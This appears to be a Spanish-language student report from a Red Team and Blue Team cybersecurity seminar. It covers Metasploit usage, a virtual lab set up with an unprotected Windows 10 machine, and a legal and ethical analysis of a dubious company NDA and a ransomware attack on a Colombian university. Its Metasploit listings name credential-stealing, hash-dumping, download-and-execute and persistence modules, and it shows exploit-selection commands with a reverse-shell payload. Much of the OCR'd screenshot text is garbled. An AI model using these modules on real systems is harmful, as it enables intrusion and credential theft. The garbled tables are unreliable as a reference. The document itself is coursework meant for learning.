ttp/hp_nnm_ovwebsnmpsrv_ovutil 2010-06-16 OpenView Network Node Manager ovwebsnmpsrv.e
xe ovutil Buff Overfl
1576 windo ttp/hp_nnm_ovwebsnmpsrv_uro 2010-06-08 OpenView Network Node Manager ovwebsnmpsrv.e
xe Unrecognized Option Buffer 0
windows/http/hp_nnm_snmp 2009-12-09 0 OpenView Network Node Ma p.exe CGI B
erflow
windows/http/hp_nnm_snmpviewer_actapp 2010-05-11 OpenView Network Node Manager snmpviewer.exe
flow
windows/http/hp_nnm_toolbar_e1 2009-01-07 t OpenView Network Node Manager Toolbar.exe CG
Overflow
windows/http/hp_nnm_toolbar_02 2009-01-21 normal OpenView Network Node Manager Toolbar.exe CG
Handling Buffer
windows/http/hp_nnm_we mon_e v 2010-07-20 OpenView Network Node Man r execvp_nc Buff
windows/http/hp_nnm_webappmon_ovjavalocale 2010-08-03 NNM CGI webappmon.exe OvJavalocale Buffer Ov

2011-01-31 OpenView Performance Insight Backdoor

1584 w o ttp/hp_pcm_snac_update_certificates 20 9-09 ‘es ProCurve Manager SNAC UpdateCertificatessS
let File Upload

Fuente: elaboracion propia

Al usar el comando search junto a una palabra clave, también se pueden encontrar
recursos de metasploit, como se puede ver en la Figura 5.

post/BEAEX/gather/enum_system normal BiAlX Gather System and User Information
post/LinuX/gather/enum_users_history normal LinuX Gather User History
post/LinuX/gather/gnome_commander_creds Linux G. er Gnome-Commander Creds
post/LinuX/gather/gnome_keyring_dump Gnome- ing Dump
post/LinuxX/gather/hashdump a LiAUX Gather Dump Password Hashes for Ed

post/LinUX/gather/mount_cifs_creds normal Linux Gather Saved mount.cifs/moun
dentials

post/BEAUX/gather/openvpn_credentials normal OpenVPN Gather Credentials

post/LinuX/gather/phpmyadmin_credsteal normal Phpmyadmin credentials stealer

post/LinuX/gather/pptpd_chap_secrets normal LiAGX Gather PPTP VPN chap-secrets Crede

post/BEAlX/gather/tor_hiddenservices normal EiAUX Gather TOR Hidden Services
post/LinuX/manage/dns_spoofing normal Native DNS Spoofing module
post/LinuX/manage/download_exec normal BEGX Manage Download and Execute
post/LinuX/manage/iptables_removal IPTABLE:!
post/Linux/manage/pseudo_shell Pseudo-Shell Post-Exploitation Module
post/LinuX/manage/ss ersistence SSH Key Pe
post/multi/gather n h r' CinuX G.
post/multi/gather/enul re_ve s normal Multipla
Enumerator

692 post/multi/manage/play_youtube normal Multi Manage YouTube Broadcast

693 post/multi/manage/shell_to_meterpreter normal erpreter Upgrade
post/multi/manage/sudo normal M SHUX / Unix Post Sudo Upgrade

post/multi/manage/zip normal Multi Manage File Compressor

post/windows/gather/credentials/securecrt normal Windows SecureCRT Session Information En
umeration

post/windows/manage/p. ploit Windows Manage PXE Exploit Server

Fuente: elaboracion propia

En esta lista se incluye un numero en la parte izquierda, el que es usado cuando se
va a hacer uso del recurso seleccionado y es un atajo para evitar colocar el nombre
completo del exploit, payload o post que se va a ejecutar (Figuras 6y 7).
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Figura 6. Ejecutar un recurso con el niimero asignado

Fuente: elaboracion propia

Figura 7. Uso de recurso con el nombre
> use exploit/multi/realserver/describe
ad configured, defaulting to linux, /meterpreter/reverse_tcp

Fuente: elaboracion propia

Con el comando info y el nombre del recurso, se puede obtener informacion como
el nombre completo del recurso, configuraciones o informacion que necesita ser
asignada o configurada para su ejecucion, nombre del desarrollador, sobre qué
dispositivos funciona, entre otros (Figura 8).

Figura 8. Resultado del comando info

loit Framework License (BSD)

Wwindows 2000 English

supported:

Description

range CIDR identifier, or hosts file with

te flaw in the ¥
t Windows 2000

VE-2004-1080/

urityBulletins/2004/MS04-045

Fuente: elaboracion propia

El comando Set (Figura 9), se utiliza para configurar las opciones requeridas por el
modulo que se esté ejecutando. En el caso del ejemplo, se asigné como nombre de
usuario administrator.
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loit/linux/postg 5
igured, defa i o li eterpreter/reverse_tcp

username administrator

Fuente: elaboracién propia

2.4 ¢QUE ES UN CVE Y CUAL ES SU ESTRUCTURA?

CVE (Common Vulnerability Enumeration, por sus siglas en inglés), es una lista
estandarizada que presenta las vulnerabilidades comunes de seguridad, iniciada
por MITRE Corporation, en el afio 1999. Esta lista facilita la interoperabilidad de las
herramientas de seguridad y permite compartir informacion de las vulnerabilidades
identificadas y compartidas pubicamente, lo que les permite a los equipos de
seguridad, mejorar la gestion del riesgo y la respuesta a incidentes.

La estructura de un CVE es: CVE-AAAA-NNNN, donde: AAAA es el afio y NNNN
es un numero consecutivo. Por ejemplo, CVE-2023-27163, es una vulnerabilidad
comun encontrada en el afio 2023, a la cual se le asigné el nUmero 27163.

EXPLOIT DATABASE

Es una base de datos de exploits, los cuales sirven para explotar las
vulnerabilidades conocidas, reportadas en los CVE y ha sido puesta al publico sin
animo de lucro, por la empresa OffSec. Actualmente cuenta con mas de 45.000
entradas y esta disponible en https://www.exploit-db.com/

En este sitio, se publican los exploits desarrollados por diferentes personas y se
pueden consultar, descargar y usar por parte del publico en general, pero son una
herramienta valiosa para los profesionales de seguridad y auditores.

Para usar los exploits aqui publicados, se debe acceder a Kali Linux y desde una
consola, ejecutar el comando searchsploit.

2.5 CONFIGURACION DEL BANCO DE TRABAJO
Para las actividades a desarrollar en el presente seminario, se hace necesario
contar con algunas herramientas que se usan a menudo, en los ejercicios
desarrollados por los Red Team y Blue Team.
Para ello, se realizaron las siguientes instalaciones y configuraciones:
1. Elequipo host, cuenta con un disco duro de estado sélido de 512 GB, 16 MB
de memoria RAM y Procesador AMD Ryzen 5. Es importante tener en cuenta

estas capacidades, ya que las maquinas que se instalen, no pueden superar
juntas, la cantidad de recursos de la maquina hospedadora.
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2. Instalacion previa de una herramienta de virtualizacion, en este caso, se uso
VirtualBox® 6.1, como se muestra en la Figura 10, la cual servira para alojar
las maquinas del banco de trabajo. Se eligié la version 6.1, debido a la
estabilidad de la misma, sin embargo, si en alguna parte del desarrollo de las
actividades se debe actualizar a la dltima version disponible, se debe hacer.

Figura 10. Herramienta de virtualizacién

ORACLE
VM

Box |
it g

VirtualBox

6.1

Interfaz Gréfica de Usuario de VirtualBox
Versién 6.1.40 r154048 (Qt5.6.2)
Copyright © 2022 Oracle Corporation and/or its affiliates. All rights reserved.

v

Cerrar

Fuente: elaboracion propia

3. MAaquina con sistema operativo Windows 10 (Figura 11), sin ningun tipo de
seguridad, a la cual le fueron asignadas sus caracteristicas de acuerdo con
las capacidades de la maquina anfitriona.

Sistema operativo: Windows 10, version 21H2, de 64 Bits.
Compilacion: 19044.2251

Memoria RAM: 6 GB

Procesadores: 4

Disco Duro: 50GB

Red: Adaptador puente
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Figura 11. Caracteristicas maquina W10

@ General

Nombre: wio

Sigtema operativo:  Windows 10 {64-bit)

IE‘ Sistema

Memoria base: 6144 MB

Procesadores: 4 i

Orden de arrangue:  Disguete, Optica, Disco duro
Aceleracion: VT-x/AMD-V, Paginacidn anidada, Paravirtualizacidn Hyper-V
@ Pantalla

Memoria de video: 128 MB
Controlador grafico: VBoxSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacion: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATA 0: w10-disk00 1. vdi (Mormal, 50.00 GB)
Puerto SATA 1: [Unidad optica] Wacio

o Audio

Controlador de anfitridn:  Windows DirectSound

Controlador: Audio Intel HD

B Red

Adaptador 1:  Intel PRO/1000 MT Desktop (Adaptador puente, =Realtek RTL8E22CE 802, 11ac PCle Adapters)
L5 use

Controlador USE: OHCI

Filtros de dispositives: 2 (2 activo)
|:| Carpetas compartidas
Minguno

@ Descripcidn

Minguno

Fuente: elaboracion propia

Esta maquina no cuenta con medidas de seguridad instaladas, es decir, no cuenta
con proteccion antivirus, ni antimalware y el firewall de Windows® se encuentra
desactivado, como se muestra en la Figura 12.
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Figura 12. Configuracion de seguridad

Seguridad de un vistazo

Consulta lo que est3 sucediendo con la seguridad y el estado de
dispositivo, y toma las medidas necesarias.

& S

Proteccién contra virus y
amenazas

La proteccion basada en la nube
estd desactivada. El dispositivo
podria ser vulnerable.

Proteccion de cuentas

Inicia sesidn con Microsoft para
mejorar la seguridad y disfrutar
de otras wventajas.

Iniciar sesién
Activar

Ignorar
Ignorar

8

Firewall y proteccion de red

Los firewalls estan desactivados.

itivo podria estar en

Activar

Fuente: elaboracion propia

i

Control de aplicaciones y
explorador

La configuracion para bloguear
aplicaciones potencialmente no
deseadas esta desactivada. El
dispositivo puade ser vulnerable.

Activar

Ignorar

4. Méquina con sistema operativo Kali Linux, version 2020.4, a la cual le
fueron asignadas las siguientes capacidades (Figura 12):

Sistema Operativo: Kali Linux 2020.4, de 64 bits

Memoria RAM: 2GB
Procesadores: 4

Disco Duro: 20GB
Red: Adaptador puente
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Figura 13. Configuracion maquina virtual Kali Linux

[=] General

Mombre: Kali

Sistema operativo:  Other Linux (54-bit)

|E| Sistema

Memaria base: 2048 MB

Procesadores: 4 i

Orden de arrangue:  Disquete, Optica, Disco duro
Aceleracion: VT-xfAMD-V, Paginacion anidada, PAE/NX, Paravirtualizacién KVM
[H] pantalla

Memoria de video: 16 ME

Controlador gréfico: WMSYGA

Servidor de escritorio remoto:  Inhabilitado
Grabacidn: Inhabilitado

Almacenamiento

Controlador: IDE
IDE primario maestro: Kali.vdi (Mormal, 20.00 GB)
IDE secundario maestro:  [Unidad dptica] Vado

o Audio

Controlador de anfitridn:  Windows DirectSound

Controlador: ICH AC97

EF Red

Adaptador 1;  Intel PRO/1000 MT Desktop (Adaptador puente, «Realtek RTL3822CE 802, 11ac PCle Adapter=)
(5 usB

Controlador USB: OHCI

Filtros de dispositivos: 0 (0 activa)
|:| Carpetas compartidas
Minguno

@ Descripcion

Minguno

Fuente: elaboracion propia

COMUNICACION ENTRE LAS MAQUINAS VIRTUALES
A continuacion, se muestran las direcciones IP de cada maquina (Figuras 14 y 15).

Direccion IP asignada por DHCP a la maquina Windows 10: 192.168.80.20
Direccion IP asignada por DHCP a la maquina Kali Linux: 192.168.80.21
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Figura 14. Datos de red maquina W10

=

B Seleccionar Simbolo del sisterna — O >

\daptador de Ethernet Ethernet:

Sufijo DNS

Fuente: elaboracion propia

Figura 15. Datos de red maquina Kali Linux
kali@Kali: ~

Archivo Acciones Editar Vista Ayuda

‘ ~ [~

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.80.21 netmask 255.255.255.0 broadcast 192.168.80.255
inet6 fe80::a00:27ff:feb64:1ef6 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:64:1e:f6 txqueuelen 1000 (Ethernet)
RX packets 79 bytes 6734 (6.5 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 21 bytes 2563 (2.5 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 10 bytes 478 (478.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 10 bytes 478 (478.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Fuente: elaboracion propia

Una vez se obtuvieron las direcciones IP de cada una de las maquinas virtuales, se
realiza la verificacion de que haya comunicacion entre ellas (Figuras 16 y 17), a
través del comando ping.
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e

empo=1ms
tiempo=9ms
empo=1ms
empo=3ms

i
i

elt

Fuente: elaboracion propia

Figura 17. Ping a la maquina W10

kali@Kali: ~

Archivo Acciones Editar Vista Ayuda

from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from

Fuente: elaboracion propia
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3.1

3 ACTUACIONES ETICAS Y LEGALES

IDENTIFICACION DE ACTUACIONES ILEGALES EN EL ACUERDO DE
CONFIDENCIALIDAD DE LA EMPRESA HACKERHOUSE.

Dentro de los ejercicios de seguridad desarrollados por los diferentes equipos, se
deben conservar lineas de conducta y ética que no se pueden transgredir, ya que,
al existir marcos regulatorios, se pueden ver inmersos en procesos legales, que
pueden desencadenar en sanciones disciplinarias, econdmicas y penales.

Al analizar el Acuerdo de confidencialidad (Anexo 3), se logra observar que, dentro
de la empresa HackerHouse, se podrian estar dando presuntas situaciones
irregulares que atentan contra las leyes colombianas que regulan los temas de
seguridad informatica, de la informacion y ciberseguridad. A continuacion, se
muestran los parrafos del acuerdo de confidencialidad que suponen un actuar
irregular que se debe resaltar:

Numeral dos (2) de la clausula Segunda: “2. Cualquier informacién
societaria, técnica, juridica, financiera, comercial, de mercado,
estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disenos industriales, datos secretos como “datos de chuzadas,
interceptacion ilegal de informacion, accesos abusivos a sistemas
informéticos”. Aqui se puede presumir que se presenta algun tipo de
actuacion ilegal, debido a que sugiere que la informacién obtenida por la
empresa seria parcialmente legal y que se cometen actos ilicitos, teniendo
en cuenta los términos que se manejan en este numeral, tales como: datos
de chuzadas, interceptacion ilegal de informacién y accesos abusivos a
sistemas informaticos, los cuales hacen parte de la informacion confidencial,
lo que haria que las personas que tengan acceso a la misma puedan estar
incurriendo en un delito. Ningin documento puede ir en contravia de la ley o
propiciar actos ilicitos.

En esa misma linea, se encuentran los numerales 3, 4 y 5 de la clausula Cuarta, los
cuales rezan lo siguiente:

3. No denunciar ante las autoridades actividades sospechosas de espionaje
o cualquier otro proceso en el cual intervenga la apropiacion de informacion
de terceros. En este numeral se solicita a la persona que va a ingresar que
violente de alguna manera lo que se establece en las leyes y se convierta en
complice de las actuaciones irregulares que se llevan en la empresa.

4. Responder por el mal uso que le den sus representantes a la informacion
confidencial. Se estaria obligando a la persona que va a ingresar a asumir la
responsabilidad por actos cometidos por terceras personas. Es de recordar
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gue cada persona responde solamente por los actos cometidos por €l en
persona propia.

e 5. Responder ante las autoridades competentes como responsable en caso
de que la informacion se encuentre en su poder dentro de un proceso de
allanamiento. No debe contemplar el salvaguardar la informacién
confidencial ante autoridades judiciales violenta el articulo 15 de la
constitucién: (...) “Para efectos tributarios o judiciales y para los casos de
inspeccion, vigilancia e intervencion del Estado podrd exigirse la
presentacion de libros de contabilidad y demas documentos privados, en los
términos que sefiale la ley” (...).

Estos péarrafos podrian ser ilegales, ya que incitan a un actuar fuera de la ley y de
manera poco ética de parte de la persona que va a ingresar al equipo de trabajo,
convirtiéndolo en complice y responsable de las malas actuaciones que se estan
realizando en la empresa.

e Quinta. Obligaciones de la parte reveladora: Son obligaciones de la parte
reveladora:
1. Mantener la reserva de la informacion confidencial hasta tanto

No esta explicita la responsabilidad de la parte reveladora en cuanto a sus
obligaciones con respecto a la informacién que se maneja, lo que podria dar un
indicio de que se lleva a cabo algun acto dudoso.

e Solucion de controversias: Las partes (nombre estudiante — nombre
empresa) se comprometen a esforzarse en resolver mediante los
mecanismos alternativos de solucion de conflictos cualquier diferencia que
surja con motivo de la ejecucion del presente acuerdo. En caso que la
informacion ilegal o confidencial sea encontrada en manos del receptor este
debera acudir a un abogado privado y dejar exenta de cualquier
responsabilidad legal y penal a HackerHouse.

Esta clausula no especifica qué tipo de informacién ilegal o confidencial se va a
compartir, ni cuales son las medidas razonables para mantenerla secreta. Tampoco
se define qué se entiende por informacion ilegal o confidencial, ni cdmo se va a
resolver cualquier diferencia que surja con motivo del acuerdo. Adicionalmente,
obligaria a la persona a encubrir y a hacerse responsable por informacién mal
obtenida que también conoce y maneja la empresa.

En general el acuerdo de confidencialidad se torna ilegal, puesto que en sus
clausulas se estipulan conductas irregulares que, de ser firmado por los
profesionales que se van a vincular, podrian enfrentar sanciones penales, legales,
disciplinarias y econémicas.
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3.2 ANALISIS DE LAS LEYES Y ARTICULOS QUE SE PUEDEN ESTAR
VIOLENTANDO CON EL ACUERDO DE CONFIDENCIALIDAD DE LA
EMPRESA HACKERHOUSE

La Constitucion Politica de Colombia es clara y en su Articulo 74 expresa lo
siguiente:

Articulo 74. Todas las personas tienen derecho a acceder a los documentos
publicos salvo los casos que establezca la ley.

El secreto profesional es inviolable. (Negrita fuera de texto).*

La empresa HackerHouse en el acuerdo de confidencialidad que tiene establecido,
estaria exigiendo a las personas que van a ingresar, a mantener secreto profesional
con respecto a las actuaciones que se llevan a cabo en la empresa y, por ende, no
podrian divulgar lo que alli pueda estar pasando, lo cual esta de acuerdo a la
Sentencia C-301/12 de la Corte Constitucional:

(...) “El secreto profesional en Colombia es inviolable por expresa
disposicion del articulo 74 de la Constitucién Politica. En este
sentido, la Corte Constitucional ha senalado: “Como en el caso del
derecho a la vida, en el del secreto profesional la Carta no dejo
margen alguno para que el legislador sefialara bajo qué
condiciones puede legitimamente violarse un derecho rotulado
“inviolable". Esa calidad de inviolable que atribuye la Carta al
secreto profesional, determina que no sea siquiera optativo para el
profesional vinculado por él, revelarlo o abstenerse de hacerlo. Esta
obligado a guardarlo”>®

Si bien es cierto que la Constitucion declara el secreto profesional como inviolable,
hay conductas que, dentro del ejercicio de la Ingenieria, como es el caso de estudio,
se tornan ilicitas, para lo cual existen leyes que amparan a los profesionales y
exigen de estos unos comportamientos y cumplimientos legales. Para ello, existe
un marco normativo en Colombia, del cual hace parte la Ley 1273 de 2009, la cual
modific6 el Codigo Penal Colombiano, adicionando las conductas y delitos
informaticos. También hace parte de este marco, la Ley 1581 de 2012, la cual busca
garantizar el cumplimiento de los derechos y garantias constitucionales, a través de

4 COLOMBIA. Asamblea Nacional Constituyente. Constitucién Politica de Colombia, [en linea]. 1991.
Bogotd. (Segunda edicién corregida). [Consultado: 14, agosto, 2023]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/constitucion _politica 1991.html

5 COLOMBIA. CORTE CONSTITUCIONAL. Sentencia C-301/12. Expediente D-8702. (25, abril,
2012). M.P. Jorge Ignacio Pretelt Chaljub [en linea]. En: Comunicado No. 16 Corte constitucional.
Santa Fe de Bogota, D.C.: La Corte. 2012. 43 p. [Consultado: 14, agosto, 2023]. Disponible en:
https://www.corteconstitucional.gov.co/comunicados/
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la definicion de los principios, derechos, deberes y procedimientos para el uso
adecuado de los datos personales.

Adicionalmente, se encuentra la Ley 842 de 2003, por medio de la cual se regula el
ejercicio de la ingenieria, de sus profesiones afines y de sus profesiones auxiliares,
se acoge el Cddigo de Etica Profesional y se dictan otras medidas.

Dentro del Cédigo de Etica adoptado en la mencionada ley, se definen los deberes,
obligaciones, faltas y sanciones a las que se deben acoger los ingenieros,
profesionales afines y profesionales auxiliares en el ejercicio de su profesion. Dentro
del Acuerdo de Confidencialidad que presenta la empresa HackerHouse, se podrian
estar presentando situaciones que lleven a los profesionales que integraran el red
team y el blue team, a incumplir con la ley, exponiéndolos a penas 0 sanciones
legales, disciplinarias, econdmicas y laborales, en caso de llegar a firmar este
documento.

A continuacion, se presentan las leyes y articulos que se podrian estar violentando
en el Acuerdo de Confidencialidad.

Parrafo en el que posiblemente se estaria vulnerando este deber dentro del acuerdo
de confidencialidad:

e Cuarta. Obligaciones de la parte receptora:

3. No denunciar ante las autoridades actividades sospechosas de espionaje
o cualquier otro proceso en el cual intervenga la apropiacion de informacion
de terceros.

6. La parte receptora se obliga a no transmitir, comunicar revelar o de
cualquier otra forma divulgar total o parcialmente, publica o privadamente, la
informacion confidencial o ilegal sin el previo consentimiento por escrito por
parte de HackerHouse.

La Ley 842 de 2003, en su Capitulo Il, establece cuales son los deberes y
obligaciones de los profesionales de ingenieria.

CAPITULO II.

DE LOS DEBERES Y OBLIGACIONES DE LOS
PROFESIONALES.

ARTICULO 31. DEBERES GENERALES DE LOS PROFESIONALES. Son
deberes generales de los profesionales los siguientes:

(..)
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e) Permitir el acceso inmediato a los representantes del Consejo
Profesional Nacional de Ingenieria respectivo y autoridades de
policia, a los lugares donde deban adelantar sus investigaciones y
el examen de los |libros, documentos y diligencias
correspondientes, asi como prestarles la necesaria colaboracion
para el cumplido desempefio de sus funciones;

f) Denunciar los delitos, contravenciones y faltas contra este Codigo
de Etica, de que tuviere conocimiento con ocasion del ejercicio de
su profesion, aportando toda la informacion y pruebas que tuviere
en su poder;

(...)8

En este numeral se estipula que los ingenieros, profesionales afines y
profesionales auxiliares tienen como deber, poner en conocimiento de las
autoridades los delitos que se puedan estar ejerciendo contra el Codigo de
Etica y de los que tenga conocimiento en el ejercicio de su profesion. El estar
de acuerdo con este numeral del acuerdo de confidencialidad, podria
acarrear sanciones penales para el profesional que lo firma, ya que se
convierte en complice de las malas actuaciones de la empresa.
Adicionalmente, los profesionales deben colaborar con la justicia en caso de
gue asi se requiera, sin que medie autorizacion de la empresa.

e Segunda. Definicion de informacion confidencial

2. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos
de utilidad, disefios industriales, datos secretos como “datos de chuzadas,
interceptacion ilegal de informacion, accesos abusivos a sistemas
informaticos”

e Cuarta. Obligaciones de la parte receptora.

5. Responder ante las autoridades competentes como responsable en
caso de que la informacién se encuentre en su poder dentro de un
proceso de allanamiento.

Estos parrafos podrian estar en contra de lo especificado en la Ley 1273 de 2009,
la cual define los delitos informaticos, penas y sanciones. Se vulnerarian los
siguientes articulos:

6 coLomBIA. Congreso de Colombia “Ley 842 de 2003” Diario Oficial No. 45.340 del 14 de octubre de 2003,
[en linea]. 2003. [Consultado: 14, agosto, 2023]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley 0842 2003.html
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(..)
CAPITULO |

De los atentados contra la confidencialidad, la integridad y la
disponibilidad de los datos y de los sistemas informaticos

Articulo 269A: Acceso abusivo a un sistema informético. <Ver
Notas del Editor> El que, sin autorizacion o por fuera de lo
acordado, acceda en todo o en parte a un sistema informatico
protegido o no con una medida de seguridad, o se mantenga dentro
del mismo en contra de la voluntad de quien tenga el legitimo
derecho a excluirlo, incurrird en pena de prision de cuarenta y ocho
(48) a noventa y seis (96) meses y en multa de 100 a 1.000 salarios
minimos legales mensuales vigentes.

Articulo 269C: Interceptacion de datos informéticos. El que, sin
orden judicial previa intercepte datos informéticos en su origen,
destino o en el interior de un sistema informéatico, o las emisiones
electromagnéticas provenientes de un sistema informatico que los
transporte incurrird en pena de prision de treinta y seis (36) a
setenta y dos (72) meses.

(..

Articulo 269E: Uso de software malicioso. El que, sin estar facultado
para ello, produzca, trafique, adquiera, distribuya, venda, envie,
introduzca o extraiga del territorio nacional software malicioso u
otros programas de computacion de efectos dafiinos, incurrird en
pena de prisién de cuarenta y ocho (48) a noventa y seis (96) meses
y en multa de 100 a 1.000 salarios minimos legales mensuales
vigentes.

Articulo 269F: Violacion de datos personales. El que, sin estar
facultado para ello, con provecho propio o de un tercero, obtenga,
compile, sustraiga, ofrezca, venda, intercambie, envie, compre,
intercepte, divulgue, modifique o emplee cédigos personales, datos
personales contenidos en ficheros, archivos, bases de datos o
medios semejantes, incurrira en pena de prision de cuarenta 'y ocho
(48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios
minimos legales mensuales vigentes.

Articulo 269H: Circunstancias de agravacion punitiva: Las penas
imponibles de acuerdo con los articulos descritos en este titulo, se
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aumentaran de la mitad a las tres cuartas partes si la conducta se
cometiere:

(...

5. Obteniendo provecho para si o para un tercero.

(..)

7. Utilizando como instrumento a un tercero de buena fe.

8. Si quien incurre en estas conductas es el responsable de la
administracion, manejo o control de dicha informacion, ademas se
le impondra hasta por tres afios, la pena de inhabilitacion para el
ejercicio de profesion relacionada con sistemas de informacién
procesada con equipos computacionales.

En este parrafo se puede observar que en la empresa se estarian cometiendo actos
ilicitos al llevar a cabo “chuzadas”, las cuales son interceptaciones ilegales de las
comunicaciones que lleva a cabo un individuo. Estas intervenciones solo pueden
realizarse por medio de una orden judicial dentro de una investigacién realizada por
las autoridades correspondientes.

Igualmente se declara como confidencial los datos obtenidos por medio de
interceptacion ilegal de informacion y accesos abusivos a sistemas informaticos.
Estas acciones sobrepasarian los acuerdos que se puedan estar firmando con los
posibles clientes o en el peor de los casos, ni siquiera existir una autorizacion de
estos para el ingreso a sus sistemas informaticos y a sus datos, los cuales se
pueden aprovechar en beneficio de la empresa o de un tercero.

En este punto, es donde se agrava aun mas el delito, ya que estarian valiéndose de
la buena fe de los posibles profesionales que ingresen a los equipos para usarlos
como instrumento para cometer las actividades y haciéndolos responsables de
estos datos al hacerlos administradores, controladores o gestores de los mismos.

Como consecuencia de lo anterior, también se estaria vulnerando la Ley 1581 de
2012, en sus Articulos 8 y 9, la cual protege los datos personales y el trato que se
le da a estos.

(...)
TITULO IV.

DERECHOS Y CONDICIONES DE LEGALIDAD PARA EL
TRATAMIENTO DE DATOS.

41



ARTICULO 8o0. DERECHOS DE LOS TITULARES. El Titular de los
datos personales tendra los siguientes derechos:

a) Conocer, actualizar y rectificar sus datos personales frente a los
Responsables del Tratamiento o Encargados del Tratamiento. Este
derecho se podr& ejercer, entre otros frente a datos parciales,
inexactos, incompletos, fraccionados, que induzcan a error, 0
aquellos cuyo Tratamiento esté expresamente prohibido o no haya
sido autorizado;

b) Solicitar prueba de la autorizacion otorgada al Responsable del
Tratamiento salvo cuando expresamente se exceptie como
requisito para el Tratamiento, de conformidad con lo previsto en el
articulo 10 de la presente ley;

c) Ser informado por el Responsable del Tratamiento o el
Encargado del Tratamiento, previa solicitud, respecto del uso que
le ha dado a sus datos personales;

(..)

ARTICULO 90. AUTORIZACION DEL TITULAR. Sin perjuicio de las
excepciones previstas en la ley, en el Tratamiento se requiere la
autorizacion previa e informada del Titular, la cual debera ser
obtenida por cualquier medio que pueda ser objeto de consulta
posterior.

(..

Estos articulos se estarian vulnerando al no contar con el consentimiento explicito
de las personas o empresas victimas de las “chuzadas”, interceptaciones de
informacion y accesos abusivos para la recoleccién y tratamiento de sus datos y/o
informacion personal.

3.3 ANALISIS DE LA SITUACION PLANTEADA, DE ACUERDO AL CODIGO
DE ETICA ESTABLECIDO EN LA LEY 842 DE 2003.

Situacioén planteada:

El sueldo para los puestos de Red tema y Blue team estan entre los
$17.000.000 y los 22.000.000 respectivamente. ¢, Si usted llegara a
encontrar procesos ilegales en el acuerdo de confidencialidad usted
aceptaria contrato y acuerdo de confidencialidad de la organizacion
HackerHouse, aun conociendo lo que podria disponer COPNIA en
su codigo de ética y sanciones en Colombia para profesionales de
ingenieria? Para justificar esta respuesta se recomienda que
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consulte directamente en la pagina oficial de COPNIA para generar
una respuesta coherente:

https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica ?

Teniendo en cuenta el Cédigo de Etica que se acoge por medio de la Ley 842 de
2003 y que se exige también por el Consejo Profesional Nacional de Ingenieria
(COPNIA), en lo personal, no aceptaria el Acuerdo de Confidencialidad que existe
en la Empresa HackerHouse ni el contrato, ya que lo que esta escrito en el acuerdo
de confidencialidad es vinculante, lo que significa que soy consciente y estoy de
acuerdo con cada una de las condiciones que ahi se especifican, ademas me hago
responsable por las acciones llevadas a cabo dentro del ejercicio de mi profesion.
Como persona y como profesional se deben tener unos criterios éticos y morales
muy bien fundamentados para que, en caso de encontrar una situacion de estas, se
pueda actuar de una forma independiente, moral, justa e imparcial, dejando de lado
la sed de dinero, ya que ofrecen unos reconocimientos econdmicos nada
despreciables.

3.4 ANALISIS ETICO Y LEGAL DE UNA NOTICIA DE CIBERCRIMEN EN
COLOMBIA.

Figura 18. Aparte de noticia sobre "hackeo" a la Universidad Nacional de Colombia
Semana Suscribirse Crear cuenta
Nacion
Los detalles secretos del grave hackeo que sufrio la
Universidad Nacional

La universidad asegura que logro salir avante del ataque y que ninguna de sus bases de datos se ha visto comprometida.

0 M E &
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Fuente: Revista Semana. Los Detalles secretos del grave hackeo que sufrid la Universidad Nacional [en
linea). (2 de abril de 2023). [Consultado: 16, agosto, 2023]. Disponible en:
https://www.semana.com/nacion/articulo/asi-fue-el-hackeo-del-que-fue-victima-la-universidad-

nacional/202335/

A
N

7 UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA. Guia de actividades y rubrica de evaluacion — Etapa
2 Actuacion ética y legal. En: Curso: Seminario Especializado: Equipos Estratégicos en Ciberseguridad: Red
Team & Blue Team. Archivo pdf. [Consultado: 11, agosto, 2023].
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El dia 18 de marzo de 2023, se prendieron las alarmas al detectarse actividad
inusual e indisponibilidad en algunos servidores de la Universidad Nacional de
Colombia. De acuerdo con la entrevista que le realizo la Revista Semana al Director
Nacional de Estrategia Digital de la UNAL, profesor Sebastian Eslava, los
ciberdelincuentes lograron comprometer la infraestructura, a través de un
ransomware.

La universidad indica que se afectaron portales y paginas web de
diferentes dependencias, principalmente en la ciudad de Bogota,
portales de informacion de diferentes centros o grupos de
investigacion, y algunos sistemas que permiten hacer la solicitud de
recepcion de documentos, pero que la informacién fundamental de
nombres, estudiantes, profesores, y néminas esta a salvo.8

Considerando lo ocurrido, se puede suponer que, en este ataque, se vulnero la Ley
1273 de 2009, en los siguientes articulos:

e Articulo 269A: Acceso abusivo a un sistema informatico, ya que accedieron
a sitios web, infraestructura y portales de informacion sin autorizacion de la
Universidad Nacional.

e Articulo 269B: Obstaculizacién ilegitima de sistema informatico o red de
telecomunicacién, al impedir el acceso y el funcionamiento normal de los
sitios, portales e infraestructura que presta servicios a la universidad.

e Articulo 269C: Interceptacion de datos informaticos. Se transgredié este
articulo cuando se capturaron los datos contenidos en los servidores y en el
sistema de solicitud de recepcion de documentos, quizas con el fin de obtener
datos personales.

e Articulo 269D: Dafio informatico. Se infringio este articulo al dafar la
infraestructura y destruir los datos que estaban contenidos en los servidores
gue se vieron afectados por el ciberataque.

e Articulo 269E: Uso de software malicioso. Quiza esta es la violacion a esta
ley que se hace mas evidente en este caso, ya que se usO un ransomware
para lograr vulnerar y dafar la infraestructura y los datos de la UNAL.

e Articulo 269F: Violacion de datos personales. Dado que hubo un acceso o
vulneracion a la seguridad informatica y de la informacién que ocasioné la
destruccion ilicita de los datos contenidos en los sitios web, en el sistema de

